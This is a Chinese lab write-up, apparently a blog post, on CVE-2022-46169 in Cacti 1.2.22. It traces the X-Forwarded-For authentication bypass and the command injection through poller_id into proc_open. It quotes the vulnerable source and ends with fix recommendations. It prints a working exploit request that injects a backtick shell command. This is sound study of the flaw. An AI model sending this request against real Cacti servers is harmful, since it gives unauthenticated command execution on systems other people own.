cacti的RCE

目录

1 环境搭建

1.1 linux:

1.1.1 在ubuntu上拉取环境(docker)

1.1.2 docker环境部署

1.1.3 查看镜像端口:

1.1.4 访问

1.1.5 查看数据库配置:

1.2 windows搭建:

 1.2.1 config.php.dist

2 环境设置

2.1 登录仙人掌

 2.2 设置

3 vscode进入容器的方法

4 RCE绕过与分析

4.1 绕过鉴权函数

4.1.1 函数分析

4.1.1.1 get_client_addr

4.1.1.2 break 2:

4.1.1.3 remote_client_authorized()

4.1.1.4 remote_agent_strip_domain

4.2 用户可控参数--get

4.2.1 初步分析

4.2.2 分析函数的if

4.2.3 ACTION为什么为2?

4.3 绕过prepare_validate_result函数

函数代码:

5 漏洞复现演示

5.1进入数据库

5.2 payload抓包测试

5.3 上传payload

5.4 测试验证

6 代码回顾总结

6.1 remote_client_authorized()绕过

6.2 action  get传参

6.3   当action=2

7 AI总结图(助于思考回顾)


1 环境搭建

1.1 linux:

1.1.1 在ubuntu上拉取环境(docker)

root@yang:~/vulhub/cacti/CVE-2022-46169# wget  https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip^C

1.1.2 docker环境部署

使用此命令构建docker环境镜像


root@yang:~/vulhub/cacti/CVE-2022-46169# docker compose up -d
WARN[0000] /root/vulhub/cacti/CVE-2022-46169/docker-compose.yml: the attribute `version` is obsol                                                                                        ete, it will be ignored, please remove it to avoid potential confusion
[+] Running 2/2
 ✔ Container cve-2022-46169-db-1   Started                                                  0.5s
 ✔ Container cve-2022-46169-web-1  Started  

1.1.3 查看镜像端口:

root@yang:~/vulhub/cacti/CVE-2022-46169# docker images
REPOSITORY     TAG       IMAGE ID       CREATED         SIZE
nginx          latest    9592f5595f2b   4 weeks ago     192MB
mysql          5.7       5107333e08a8   19 months ago   501MB
vulhub/cacti   1.2.22    c0a06715ff54   2 years ago     642MB
root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS         PORTS                                     NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh…"   2 weeks ago   Up 2 minutes   0.0.0.0:8080->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s…"   2 weeks ago   Up 2 minutes   3306/tcp, 33060/tcp                       cve-2022-46169-db-1

1.1.4 访问

1.1.5 查看数据库配置:

1.2 windows搭建:

下载安装包后直接部署在小皮的WWW的目录下面,发现报错

 1.2.1 config.php.dist

这是一个备份文件,可以修改为php文件,作为mysql

修改配置文件 

无法成功!稍后再试,尝试了很多方法都不行

2 环境设置

2.1 登录仙人掌

账号:admin

密码:admin

进入后就直接一直next

 2.2 设置

3 vscode进入容器的方法

因为自己最开始不知道,所以写了

然后在这里面可以选择想进入的容器:

4 RCE绕过与分析

4.1 绕过鉴权函数

4.1.1 函数分析

function remote_client_authorized() {
	global $poller_db_cnn_id;

	/* don't allow to run from the command line */
	$client_addr = get_client_addr();
	if ($client_addr === false) {
		return false;
	}

	if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
		cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');
		return false;
	}

	$client_name = gethostbyaddr($client_addr);

	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}

	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

	cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

	return false;
}
4.1.1.1 get_client_addr

走到这个函数里面来,再接着走到了get_client_addr 这一看就知道应该是获取客户端的地址的函数,那我们来分析一下他的函数源码

function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);
//循环获取他的http的请求头
	$client_addr = false;
	foreach ($http_addr_headers as $header) {
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

最开始这个数组就是为了循环获取他的请求头的数据

$_server:就是为了获取到X-Forwarded-For,这样就可以判断能不能获取到这个X-Forwarded-For参数,就可以判断出请求头是否伪空
 

<?php

echo'<pre>';

var_dump($_SERVER);

可以打印出全局的数组,其中它就有请求头的数据

 打印出来的数据如上:和f12里面的http-request-header里面的内容是一样的

所以说我们可以通过获取X-Forwarded-For,可以进行伪造

$header_ips = explode(',', $_SERVER[$header]);

            foreach ($header_ips as $header_ip) {

                if (!empty($header_ip)) {

                    if (!filter_var($header_ip, FILTER_VALIDATE_IP))

这里是通过全局数组获取到了header头里面的ip字段的信息,获取到后,判断是否为空,如果不是空,就用filter_var来进行过滤

FILTER_VALIDATE_IP:这是一个过滤器,用来验证IP是否合法

4.1.1.2 break 2:

跳出两层循环

break 2是 PHP 中的控制语句,用于终止多层嵌套循环的执行。在这段代码中,它的作用是:

 
  1. 内层循环:遍历由逗号分隔的 IP 列表(例如,当代理服务器链传递多个 IP 时)。
  2. 外层循环:遍历 HTTP 头数组。
 

当在内层循环中找到第一个有效 IP 后,break 2会立即终止两层循环,直接跳到整个循环结构之后的代码(即return $client_addr)。这确保函数在找到第一个有效 IP 后立即返回,避免继续检查其他头或 IP

4.1.1.3 remote_client_authorized()

function remote_client_authorized() {

    global $poller_db_cnn_id;

    /* don't allow to run from the command line */

    $client_addr = get_client_addr();

    if ($client_addr === false) {

        return false;

    }

当ip为127.0.0.1时,因为break2直接get_client_addr返回的$client_addr就是127.0.0.1,接着

if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
		cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');
		return false;
	}

	$client_name = gethostbyaddr($client_addr);

	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}

对127.0.0.1进行合法性校验,然后通过gethostbyaddr这个函数将127.0.0.1转换成了localhost,因为client_name 和client_addr不相等,就走到了else里面,然后走到了remote_agent_strip_domain这个函数里面

4.1.1.4 remote_agent_strip_domain
function remote_agent_strip_domain($host) {
	if (strpos($host, '.') !== false) {
		$parts = explode('.', $host);
		return $parts[0];
	} else {
		return $h

$client_name就传到了$host为localhost,因为它没有.,所以它直接返回了$h,也就是localhost
strpos:这个函数是返回$host里面的第一次出现点号的位置,返回从0开始的点号的索引位置

explode('.', $host) 函数:

  • 功能:将字符串 $host 按点号(.)分割成数组。
  • 示例
    • explode('.', 'www.google.com') → ['www', 'google', 'com']
    • explode('.', 'localhost') → ['localhost']

$parts[0] 返回值:

作用:返回分割后的第一个元素(即主机名部分)。

返回$host:

通过以上分析返回是localhost:接着走以下代码

if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;

这个内层函数返回的结果通过以上分析,也应该是localhost跟我们的client_name是一样的,所以返回true

所以通过分析可以知道,这样我们就绕过了这个鉴权函数,主要问题是出现在get_client_addr的时候,直接两层循环退出了所以X-Forwarded-For就可以进行伪造成127.0.0.1(localhost)

 鉴权完成后就走到4.2了

4.2 用户可控参数--get

这里有用户可控的参数,那么我可以走进此开关,就可以走进条件case 'polldata'  

4.2.1 初步分析

鉴权完成后走到这个函数 

当我进入这个case后,就会触发poll_for_data这个函数

function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();

	$i = 0;

可以看到这个函数请求了三个内容,那我们看一下官方给的payload测试就明白了

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

就刚好传递了 local_data_ids(array) host_id(string) poller_id(string)这三个参数

4.2.2 分析函数的if

进入这个函数的第一个if,观察它都查询了poller_item这个表

if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

			$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?',
				array($host_id, $local_data_id));

			$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?
				AND action = 2',
				array($host_id, $local_data_id));

 进docker查询一下这个表的默认值(总共有6行数据):

mysql> select * from  poller_item \G

 local_data_id: 1
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: proc
            rrd_path: /var/www/html/rra/local_linux_machine_proc_1.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/unix_processes.pl
                arg2:
                arg3:
*************************** 2. row ***************************
       local_data_id: 2
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name:
            rrd_path: /var/www/html/rra/local_linux_machine_load_1min_2.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/loadavg_multi.pl
                arg2:
                arg3:
*************************** 3. row ***************************
       local_data_id: 3
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: users
            rrd_path: /var/www/html/rra/local_linux_machine_users_3.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/unix_users.pl ''
                arg2:
                arg3:
*************************** 4. row ***************************
       local_data_id: 4
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: mem_buffers
            rrd_path: /var/www/html/rra/local_linux_machine_mem_buffers_4.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/linux_memory.pl 'MemFree:'
                arg2:
                arg3:
*************************** 5. row ***************************
       local_data_id: 5
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: mem_swap
            rrd_path: /var/www/html/rra/local_linux_machine_mem_swap_5.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/linux_memory.pl 'SwapFree:'
                arg2:
                arg3:
*************************** 6. row ***************************
       local_data_id: 6
           poller_id: 1
             host_id: 1
              action: 2
             present: 1
        last_updated: 2025-07-28 12:12:41
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: uptime
            rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime

 action的值1-5都为1,只有local_id=6的action为2,分析代码可以知道需要的是action为2的数据

4.2.3 ACTION为什么为2?

case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
						$cactides = array(
							0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
							1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
							2 => array('pipe', 'w')  // stderr is a pipe to write to
						);

						if (function_exists('proc_open')) {
							$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
							$output = fgets($pipes[1], 1024);
							$using_proc_function = true;
						} else {
							$using_proc_function = false;
						}

						if ($using_proc_function == true) {
							$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));

							if (prepare_validate_result($output) === false) {
								if (strlen($output) > 20) {
									$strout = 20;
								} else {
									$strout = strlen($output);
								}

								$output = 'U';
							}
						} else {
							$output = 'U';
						}

						$return[$i]['value']         = $output;
						$return[$i]['rrd_name']      = $item['rrd_name'];
						$return[$i]['local_data_id'] = $local_data_id;

						if (($using_proc_function == true) && ($script_server_calls > 0)) {
							/* close php server process */
							fwrite($pipes[0], "quit\r\n");
							fclose($pipes[0]);
							fclose($pipes[1]);
							fclose($pipes[2]);

分析可知,只有当action为2才能走到这个case来,走进来过后才可以执行我们的RCE代码(proc_open)

if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

因为这里循环所以我们后面提交的是数组的payload,可以看一下:

payload:

action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1

 这样就说明了为什么我的local_data_ids为6,host_id=1,因为根据4.2.2分析得到

4.3 绕过prepare_validate_result函数

因为我要让$output有值,就必须要绕过此函数

if (prepare_validate_result($output) === false) {
							if (strlen($output) > 20) {
								$strout = 20;
							} else {
								$strout = strlen($output);
							}

							$output = 'U';
						}

						$return[$i]['value']         = $output;
						$return[$i]['rrd_name']      = $item['rrd_name'];
						$return[$i]['local_data_id'] = $local_data_id;

						break;

函数代码:

function prepare_validate_result(&$result) {
	/* first trim the string */
	$result = trim($result, "'\"\n\r");

	/* clean off ugly non-numeric data */
	if (is_numeric($result)) {
		dsv_log('prepare_validate_result','data is numeric');
		return true;
	} elseif ($result == 'U') {
		dsv_log('prepare_validate_result', 'data is U');
		return true;
	} elseif (is_hexadecimal($result)) {
		dsv_log('prepare_validate_result', 'data is hex');
		return hexdec($result);
	} elseif (substr_count($result, ':') || substr_count($result, '!')) {
		/* looking for name value pairs */
		if (substr_count($result, ' ') == 0) {
			dsv_log('prepare_validate_result', 'data has no spaces');
			return true;
		} else {
			$delim_cnt = 0;
			if (substr_count($result, ':')) {
				$delim_cnt = substr_count($result, ':');
			} elseif (strstr($result, '!')) {
				$delim_cnt = substr_count($result, '!');
			}

			$space_cnt = substr_count(trim($result), ' ');
			dsv_log('prepare_validate_result', "data has $space_cnt spaces and $delim_cnt fields which is " . (($space_cnt+1 == $delim_cnt) ? 'NOT ' : '') . ' okay');

			return ($space_cnt+1 == $delim_cnt);
		}
	} else {
		$result = strip_alpha($result);

		if ($result === false) {
			$result = 'U';
			return false;
		} else {
			return true;
		}
	}
}

5 漏洞复现演示

5.1进入数据库

root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS       PORTS                                     NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh…"   2 weeks ago   Up 6 hours   0.0.0.0:8080->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s…"   2 weeks ago   Up 6 hours   3306/tcp, 33060/tcp                       cve-2022-46169-db-1
root@yang:~/vulhub/cacti/CVE-2022-46169# docker exec -it 35 /bin/bash
bash-4.2#
bash-4.2# mysql -uroot -proot
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 208
Server version: 5.7.44 MySQL Community Server (GPL)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

5.2 payload抓包测试

payload:

http://192.168.37.136:8080/action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%60touch+/tmp/success%60

 

 打印值:表示我绕过了限制

 查看一下我查询的值的hostname,因为根据第二张图可以知道查询出来的poller这个的hostname如果和client_name一样就可以直接绕过限制

5.3 上传payload

5.4 测试验证

进入docker:

root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS       PORTS                                 NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh…"   2 weeks ago   Up 8 hours   0.0.0.80->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s…"   2 weeks ago   Up 8 hours   3306/t33060/tcp                       cve-2022-46169-db-1
root@yang:~/vulhub/cacti/CVE-2022-46169# docker exec -it 9b /bin/bash
root@9b7a360a3476:/var/www/html# cd /tmp/

进入tmp查看payload创建的succss这个文件是否成功

测试成功!!

6 代码回顾总结

6.1 remote_client_authorized()绕过

1,先判断鉴权的问题,就走到了remote_client_authorized()这个函数,

2,然后这个函数会走到get_client_addr()这个函数里面---》break 2---漏洞起始点--》X-Forwarded-For----》为127.0.0.1----》通过gethostbyaddr这个函数转换成localhost

3,数据库查询的poller的ids=6以及action为2的hostname值也为localhost

4,

这两个相等,所以就return true

就绕过了鉴权函数remote_client_authorized()

6.2 action  get传参

用户可控的参数,接着进入poll for data()函数:

这个是命令执行的函数:

根据4.2可知有三个参数:

这3个参数基本上没有任何过滤

函数体:

$local_data_ids = get_nfilter_request_var('local_data_ids');

//必须是数组

    $host_id        = get_filter_request_var('host_id');

//1

    $poller_id      = get_nfilter_request_var('poller_id');

//执行命令的地方

    $return         = array();

执行完上面的代码后:会进入这个循环,但是这个数组里面只有一个6

oreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

 这个代码执行的结果:因为我的payload传参为:action=polldata&local_data_ids[0]=6&host_id=1

$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?',
				array($host_id, $local_data_id));

根据传参的结果查询出来的结果为:

local_data_id: 6
           poller_id: 1
             host_id: 1
              action: 2
             present: 1
        last_updated: 2025-07-28 12:12:41
            hostname: localhost


6.3   当action=2

见4.2.3

if (function_exists('proc_open')) {

                            $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

                            $output = fgets($pipes[1], 1024);

                            $using_proc_function = true;

                        } else {

这里面会命令执行$poller_id,也就是我们payload的传参

poller_id=`touch+/tmp/success`

7 AI总结图(助于思考回顾)

远程代码执行漏洞分析
├── 一、漏洞概述
│   ├── 漏洞类型:鉴权绕过+命令注入
│   ├── 影响范围:依赖X-Forwarded-For头鉴权且处理用户输入不严格的PHP系统
│   └── 攻击效果:攻击者可绕过身份验证并执行任意系统命令
│
├── 二、漏洞技术细节
│   ├── 第一阶段:鉴权绕过
│   │   ├── 触发点:remote_client_authorized()函数
│   │   ├── 利用路径:
│   │   │   ├── 客户端请求进入鉴权流程
│   │   │   ├── 调用get_client_addr()获取客户端地址
│   │   │   ├── 攻击者通过X-Forwarded-For头伪造地址为127.0.0.1
│   │   │   ├── gethostbyaddr将127.0.0.1解析为localhost
│   │   │   ├── 数据库中poller配置的hostname也为localhost
│   │   │   └── 地址匹配成功,鉴权绕过
│   │   └── 核心问题:
│   │       ├── 依赖不可信的HTTP头进行身份验证
│   │       └── 未验证请求来源的真实性
│   │
│   ├── 第二阶段:命令注入
│   │   ├── 触发点:poll for data()函数
│   │   ├── 利用路径:
│   │   │   ├── 用户可控参数:
│   │   │   │   ├── local_data_ids(数组,未严格过滤)
│   │   │   │   ├── host_id(整数,部分过滤)
│   │   │   │   └── poller_id(命令执行点,无过滤)
│   │   │   ├── 数据库查询:
│   │   │   │   ├── SELECT * FROM poller_item WHERE host_id=1 AND local_data_id=6
│   │   │   │   └── 查询结果返回action=2的记录
│   │   │   └── 命令执行:
│   │   │       ├── action=2触发proc_open函数调用
│   │   │       ├── 执行命令:php -q /script_server.php realtime $poller_id
│   │   │       └── poller_id参数被攻击者注入恶意命令
│   │   └── 核心问题:
│   │       ├── 用户输入未经过充分过滤和转义
│   │       ├── 使用不安全的命令拼接方式
│   │       └── 对关键参数类型和范围校验不足
│
├── 三、攻击路径示例
│   ├── 构造HTTP请求:
│   │   ├── 添加X-Forwarded-For: 127.0.0.1头
│   │   └── 请求URL: ?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
│   ├── 漏洞利用步骤:
│   │   ├── 绕过鉴权验证
│   │   ├── 触发数据库查询
│   │   ├── 执行系统命令
│   │   └── 创建/tmp/success文件验证漏洞
│
├── 四、安全风险评估
│   ├── 严重程度:高
│   ├── 利用条件:
│   │   ├── 系统启用proc_open函数
│   │   ├── 可访问Web接口
│   │   └── 知晓数据库中有效local_data_id和host_id组合
│   └── 潜在危害:
│       ├── 服务器被完全控制
│       ├── 数据泄露或篡改
│       └── 作为跳板攻击内部网络
│
├── 五、修复建议
│   ├── 鉴权机制改进:
│   │   ├── 不依赖X-Forwarded-For头进行安全决策
│   │   ├── 使用IP白名单结合API密钥验证
│   │   └── 增加来源IP和用户会话绑定机制
│   ├── 输入验证强化:
│   │   ├── 对所有输入参数实施严格白名单过滤
│   │   ├── 使用escapeshellarg()处理命令参数
│   │   └── 对数组参数验证每个元素类型
│   └── 命令执行优化:
│       ├── 重构代码避免直接执行外部命令
│       ├── 如果必须执行,使用安全的参数传递方式
│       └── 禁用不必要的系统命令执行函数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fatsheep洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值